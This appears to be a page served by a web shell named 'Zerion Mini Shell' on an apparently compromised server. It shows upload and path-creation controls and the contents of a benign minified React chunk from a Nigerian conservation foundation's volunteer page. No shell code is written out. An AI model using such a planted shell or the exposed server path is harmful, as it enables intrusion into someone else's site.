%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/public_html/ncf/static/js/
Upload File :
Create Path :
Current File : /home/opti/public_html/ncf/static/js/16.2924d0c5.chunk.js

(this["webpackJsonpncf-nigeria"]=this["webpackJsonpncf-nigeria"]||[]).push([[16],{104:function(e,t,n){},105:function(e,t,n){"use strict";var i=n(48),s=n(1),r=n(21),a=(n(106),n(107),n(108),n(2));t.a=function(){var e=localStorage.getItem("loggedInUser"),t=Object(s.useState)([]),n=Object(i.a)(t,2),c=n[0],o=n[1];Object(s.useEffect)((function(){fetch("".concat(r.SERVER_URL,"/cart/all/").concat(e)).then((function(e){return e.json()})).then((function(e){200===e.status?o(e.data):console.log(e)}))}),[]);var l=c.length;return Object(a.jsx)("div",{className:"sliderbardiv sm:mb-20",children:Object(a.jsxs)("div",{className:"flex sliderbar shadow-sm -mt-9 field-bottom",children:[Object(a.jsxs)("a",{href:"/shop",className:"no-underline bg-white sliderbar-link text-black flex flex-col items-center justify-center md:py-0 py-8 w-48 broder-0 border-r border-solid",children:[Object(a.jsx)("span",{className:"mb-2",children:Object(a.jsx)("img",{src:"/assets/images/icons/shop.svg",alt:""})}),Object(a.jsx)("span",{children:"Shop"})]}),Object(a.jsxs)("a",{href:"/cart",className:"no-underline bg-white sliderbar-link text-black flex flex-col items-center justify-center md:py-0 py-8 w-48 broder-0 border-r border-solid",children:[Object(a.jsx)("span",{className:"mb-2",children:Object(a.jsx)("img",{src:"/assets/images/icons/shopping-cart.svg",alt:""})}),Object(a.jsxs)("span",{children:["Cart ",Object(a.jsxs)("span",{className:"cartNumber",children:[" ",l]})]})]}),Object(a.jsxs)("a",{href:"/donate",className:"no-underline bg-white sliderbar-link text-black flex flex-col items-center justify-center md:py-0 py-8 w-48",children:[Object(a.jsx)("span",{className:"mb-2",children:Object(a.jsx)("img",{src:"/assets/images/icons/donation.svg",alt:""})}),Object(a.jsx)("span",{children:"Donate"})]})]})})}},106:function(e,t,n){},107:function(e,t,n){},108:function(e,t,n){},112:function(e,t,n){"use strict";function i(e){return"object"===typeof e&&null!==e&&e.constructor&&"Object"===Object.prototype.toString.call(e).slice(8,-1)}function s(e,t){var n=["__proto__","constructor","prototype"];Object.keys(t).filter((function(e){return n.indexOf(e)<0})).forEach((function(n){"undefined"===typeof e[n]?e[n]=t[n]:i(t[n])&&i(e[n])&&Object.keys(t[n]).length>0?t[n].__swiper__?e[n]=t[n]:s(e[n],t[n]):e[n]=t[n]}))}function r(e){return void 0===e&&(e={}),e.navigation&&"undefined"===typeof e.navigation.nextEl&&"undefined"===typeof e.navigation.prevEl}function a(e){return void 0===e&&(e={}),e.pagination&&"undefined"===typeof e.pagination.el}function c(e){return void 0===e&&(e={}),e.scrollbar&&"undefined"===typeof e.scrollbar.el}function o(e){void 0===e&&(e="");var t=e.split(" ").map((function(e){return e.trim()})).filter((function(e){return!!e})),n=[];return t.forEach((function(e){n.indexOf(e)<0&&n.push(e)})),n.join(" ")}n.d(t,"b",(function(){return i})),n.d(t,"a",(function(){return s})),n.d(t,"c",(function(){return r})),n.d(t,"d",(function(){return a})),n.d(t,"e",(function(){return c})),n.d(t,"f",(function(){return o}))},114:function(e,t,n){"use strict";n.d(t,"a",(function(){return s}));var i=n(1);function s(e,t){return"undefined"===typeof window?Object(i.useEffect)(e,t):Object(i.useLayoutEffect)(e,t)}},127:function(e,t,n){"use strict";n.d(t,"a",(function(){return l}));var i=n(1),s=n.n(i),r=n(112),a=n(114),c=["tag","children","className","swiper","zoom","virtualIndex"];function o(){return(o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(e[i]=n[i])}return e}).apply(this,arguments)}var l=Object(i.forwardRef)((function(e,t){var n,l=void 0===e?{}:e,d=l.tag,f=void 0===d?"div":d,u=l.children,b=l.className,m=void 0===b?"":b,p=l.swiper,j=l.zoom,x=l.virtualIndex,h=function(e,t){if(null==e)return{};var n,i,s={},r=Object.keys(e);for(i=0;i<r.length;i++)n=r[i],t.indexOf(n)>=0||(s[n]=e[n]);return s}(l,c),g=Object(i.useRef)(null),v=Object(i.useState)("swiper-slide"),O=v[0],w=v[1];function y(e,t,n){t===g.current&&w(n)}Object(a.a)((function(){if(t&&(t.current=g.current),g.current&&p){if(!p.destroyed)return p.on("_slideClass",y),function(){p&&p.off("_slideClass",y)};"swiper-slide"!==O&&w("swiper-slide")}})),Object(a.a)((function(){p&&g.current&&w(p.getSlideClasses(g.current))}),[p]),"function"===typeof u&&(n={isActive:O.indexOf("swiper-slide-active")>=0||O.indexOf("swiper-slide-duplicate-active")>=0,isVisible:O.indexOf("swiper-slide-visible")>=0,isDuplicate:O.indexOf("swiper-slide-duplicate")>=0,isPrev:O.indexOf("swiper-slide-prev")>=0||O.indexOf("swiper-slide-duplicate-prev")>=0,isNext:O.indexOf("swiper-slide-next")>=0||O.indexOf("swiper-slide-duplicate-next")>=0});var N=function(){return"function"===typeof u?u(n):u};return s.a.createElement(f,o({ref:g,className:Object(r.f)(O+(m?" "+m:"")),"data-swiper-slide-index":x},h),j?s.a.createElement("div",{className:"swiper-zoom-container","data-swiper-zoom":"number"===typeof j?j:void 0},N()):N())}));l.displayName="SwiperSlide"},138:function(e,t,n){"use strict";var i,s=n(48),r=n(1),a=n(21),c=n(127),o=n(50),l=n(49).a.div(i||(i=Object(o.a)(["\n  position: relative;\n  height: 700px;\n\tborder: 1px solid #eee\n\n  background: #eee;\n  font-family: 'Roboto', Helvetica Neue, Helvetica, Arial, sans-serif;\n  font-size: 14px;\n  color: rgb(39, 38, 38);\n  margin: 0;\n  padding: 0;\n\n\t.swiper-container {\n\t\twidth: 100%;\n\t\theight: 100%;\n\t}\n\n\t.swiper-slide {\n\t\tfont-size: 18px;\n\t\tbackground: transparent;\n\n\t\t/* Center slide text vertically */\n\t\tdisplay: -webkit-box;\n\t\tdisplay: -ms-flexbox;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: flex;\n\t\t-webkit-box-pack: center;\n\t\t-ms-flex-pack: center;\n\t\t-webkit-justify-content: center;\n\t\tjustify-content: center;\n\t\t-webkit-box-align: center;\n\t\t-ms-flex-align: center;\n\t\t-webkit-align-items: center;\n\t\talign-items: center;\n\t}\n\n\t.swiper-slide img {\n\t\tdisplay: block;\n\t\twidth: 100%;\n\t\theight: 100%;\n\t\tobject-fit: cover;\n\t}\n\n\t.swiper-slide .slider-wrapper {\n\t\tdisplay: block;\n\t\tposition: relative;\n\t\twidth: 100%;\n\t\theight: 100%;\n\t\tobject-fit: cover;\n\t}\n\n\t.slider-text {\n\t\tposition: absolute;\n\t\theight: 100%;\n\t\twidth: 100%;\n\t}\n\n\t.field-bottom {\n\t\ttransform: translate(10%, 306px);\n\t}\n\n\t@media screen and (max-width: 640px) {\n\t\t.field-bottom {\n\t\t\ttransform: translate(0%, 0%);\n\t\t}\n\t}\n"]))),d=(n(104),n(2));t.a=function(e){var t=Object(r.useState)(""),n=Object(s.a)(t,2),i=n[0],o=n[1];Object(r.useEffect)((function(){fetch("".concat(a.SERVER_URL,"/image/page-banners")).then((function(e){return e.json()})).then((function(e){if(200===e.status){var t=e.data;o(t)}else console.log("Oops couldn't fetch data")}))}),[]);var f=e.page;return Object(d.jsx)(l,{className:"mt-6 z-index-3",children:Object(d.jsx)(c.a,{children:Object(d.jsxs)("div",{className:"slider-wrapper",children:[Object(d.jsx)("div",{className:"slider-text border border-solid",children:Object(d.jsx)("div",{className:"max-w-7xl mx-auto pb-16 pt-48 md:px-16 px-8",children:Object(d.jsx)("div",{className:"grid md:grid-cols-2 grid-cols-1 gap-x-8 gap-y-8",children:Object(d.jsxs)("div",{className:"content banner-txt",children:[Object(d.jsx)("h1",{className:"text-4xl font-bold text-white mb-4",children:"What have you done for the Environment Lately?"}),Object(d.jsx)("p",{className:"font-light text-white mb-6",children:"What you give goes a long way"}),Object(d.jsx)("a",{href:"/donate",children:Object(d.jsx)("button",{className:"bg-green hover:bg-green-800 text-white font-bold py-2 px-8 rounded",children:"Donate"})})]})})})}),Object(d.jsx)("img",{src:"https://admin.ncfnigeria.org/images/banners/".concat(i[f]),alt:""})]})})})}},463:function(e,t,n){},510:function(e,t,n){"use strict";n.r(t);n(1),n(51);var i=n(138),s=(n(463),n(105)),r=(n(104),n(2));t.default=function(){return Object(r.jsxs)("div",{children:[Object(r.jsx)(i.a,{page:"volunteer"}),Object(r.jsxs)("div",{className:"w-full bg-gray-100 py-8",children:[Object(r.jsx)(s.a,{}),Object(r.jsx)("div",{className:"max-w-5xl mx-auto md:px-16 px-8",children:Object(r.jsx)("div",{className:"grid md:grid-cols-1 grid-cols-1 md:gap-8 items-start md:mb-0 mb-8",children:Object(r.jsxs)("div",{className:"block",children:[Object(r.jsx)("h1",{className:"text-4xl font-bold text-mbl-1em mb-6",children:"Volunteer"}),Object(r.jsx)("p",{className:"text-base text-mbl mb-4",children:"Volunteering can help you learn new skills, advance your career, make friends, and even stay healthy. Learn how to find the right fit."})]})})}),Object(r.jsx)("img",{className:"forest",src:"/assets/images/getinvolved/forest.svg",alt:""}),Object(r.jsx)("img",{className:"white",src:"/assets/images/getinvolved/white.svg",alt:""})]}),Object(r.jsx)("div",{className:"imagecover w-full bg-white py-16",children:Object(r.jsxs)("div",{className:"max-w-7xl mx-auto md:px-16 px-8",children:[Object(r.jsxs)("div",{className:"text-right mb-6",children:[Object(r.jsx)("h1",{className:"font-bold text-2xl  text-mbl-1em ",children:"BECOME A VOLUNTEER"}),Object(r.jsx)("hr",{className:"h-1 my-4 bg-transparent border-0 border-t border-solid border-gray-300"})]}),Object(r.jsxs)("div",{className:"grid md:grid-cols-12 grid-cols-1 md:gap-8 items-start md:mb-0 mb-8",children:[Object(r.jsx)("div",{className:"md:col-span-4 col-span-12",children:Object(r.jsx)("img",{src:"/assets/images/groups/wetland-day.png",alt:""})}),Object(r.jsxs)("div",{className:"mt-6 md:col-span-8 col-span-12",children:[Object(r.jsx)("p",{className:"font-base  text-mbl  mb-4  txt-justify",children:"New projects, expansion, researches, and events occasionally present opportunities for individuals to get involved with NCF. Students and other individuals can take advantage of this prospect to volunteer. Volunteers will enjoy rewarding experience in the field of environmental education, conservation and advocacy. More importantly, volunteers are able to showcase their skills and knowledge for the development of the Foundation. Become a volunteer."}),Object(r.jsx)("p",{className:"font-base  text-mbl  mb-4",children:"For more information on how to get involved please send an e-mail with \u201cVolunteer\u201d as the subject, stating your area(s) of interest to fundraising@ncfnigeria.org"})]})]})]})})]})}}}]);
//# sourceMappingURL=16.2924d0c5.chunk.js.map

Zerion Mini Shell 1.0